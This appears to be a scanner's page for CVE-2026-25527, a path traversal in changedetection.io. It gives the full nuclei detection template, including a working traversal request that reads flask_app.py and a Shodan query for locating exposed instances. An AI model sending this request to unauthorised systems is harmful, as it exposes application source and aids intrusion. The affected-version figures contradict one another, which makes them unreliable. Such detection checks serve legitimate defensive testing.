changedetection.io <= 0.52.9 - Unauthenticated Path Traversal

mediumseverity

5.3CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

changedetection.io <= 0.53.9 contains a path traversal caused by improper validation of the 'group' parameter in /static/<group>/<filename> route, letting unauthenticated attackers read local application source files.

Impact

Unauthenticated attackers can read local application source files, potentially exposing sensitive information.

Fix

Upgrade to version 0.53.2 or later.

How to confirm it

Send: GET /static/%2e%2e/flask_app.py
Positive when: status_code == 200 and contains_all(body, "from changedetectionio", "def static_content(") and contains(content_type, "text/x-python")

Run it with nuclei: nuclei -id CVE-2026-25527 -u <target>

The full check

id: CVE-2026-25527

info:
  name: changedetection.io <= 0.52.9 - Unauthenticated Path Traversal
  author: WRG-11
  severity: medium
  description: |
    changedetection.io <= 0.53.9 contains a path traversal caused by improper validation of the 'group' parameter in /static/<group>/<filename> route, letting unauthenticated attackers read local application source files.
  impact: |
    Unauthenticated attackers can read local application source files, potentially exposing sensitive information.
  remediation: |
   Upgrade to version 0.53.2 or later.
  reference:
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-9jj8-v89v-xjvw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25527
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-25527
    epss-score: 0.01025
    epss-percentile: 0.63865
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: dgtlmoon
    product: changedetection.io
    shodan-query: http.html:"changedetection.io"
  tags: cve,cve2026,changedetection,lfi,traversal,unauth,exposure

http:
  - raw:
      - |
        GET /static/%2e%2e/flask_app.py HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "from changedetectionio", "def static_content(")'
          - 'contains(content_type, "text/x-python")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from